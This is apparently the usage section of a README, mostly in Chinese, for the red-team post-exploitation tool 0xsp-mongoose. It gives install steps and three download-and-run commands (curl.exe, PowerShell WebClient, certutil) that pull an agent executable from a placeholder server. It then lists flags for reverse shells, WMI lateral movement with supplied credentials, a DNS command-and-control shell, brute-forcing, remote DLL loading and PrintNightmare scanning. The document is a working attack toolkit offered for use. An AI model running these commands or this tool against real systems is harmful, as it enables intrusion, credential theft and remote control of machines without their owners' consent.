git clone --single-branch --branch 0xsp-red https://github.com/lawrenceamer/0xsp-mongoose 
cd 0xsp-mongoose/ 
npm install 
node index.js

touch temp.txt
python3 dns_server.py -d DOMAIN -a PUBLICIP -i INTERFACEIP

#example 1 
curl.exe -o agent.exe http://nodejsip:4000/release/x64.exe
#example 2 
powershell.exe -command (new-object net.webclient).downloadfile('http://nodejsip:4000/release/x64.exe','c:\tmp\agent.exe');
#example 3 
certutil.exe -urlcache -split -f "http://nodejsip:4000/release/x64.exe" agent.exe

-s --检索 Windows 服务和已安装的驱动程序。
-u --检索用户、组、角色的信息。
-c --通过扩展名搜索已连接的驱动器中包含敏感配置文件的驱动。
-n --检索网络信息、网络接口、连接详情。
-w --枚举可写目录、访问权限检查、修改后的权限。
-i --枚举 Windows 系统信息、会话、始终提升检查。
-l --在文件中搜索特定字符串，例如：agent.exe -l c:\ password *.config。
-o --指定 NodeJS 应用程序的主机地址，也可以使用 srvhost
-p --枚举已安装的软件、正在运行的进程、任务。
-e --内核检查工具，帮助通过工具数据库搜索 Windows 内核漏洞。
-x --密码，用于授权与 NodeJS 应用程序的连接。
-d --直接下载文件到目标机器。
-t --从目标机器上传文件到 NodeJS 应用程序。
-spooler --扫描单个主机或主机列表以查找可能的 CVE-2021-1675（例如 -spooler -srvhost 或 -spooler -hosts）
-m --同时运行所有已知的扫描类型。

[!] 红色团队战术部分

-r --使用特定账户生成反向 shell。
-lr --使用 WMI 进行横向移动技术（例如 -lr -host 192.168.14.1 -username administrator -password blabla -srvhost nodejsip）
-nds --网络发现和共享枚举
-dns --建立交互式 DNS C2C shell
-cmd --通过 HTTP Shell 传输命令
-interactive --启动交互模式（例如：加载插件等）
-username --特定攻击模块的身份认证。
-password --特定攻击模块的身份认证。
-host --指定要攻击的远程主机。
-srvhost --设置 NodeJS 应用程序的远程主机。
-bf --本地用户/域用户暴力破解模块。
-import --导入并在本地执行 DLL 文件。
-remote --从远程主机导入并执行 DLL 文件。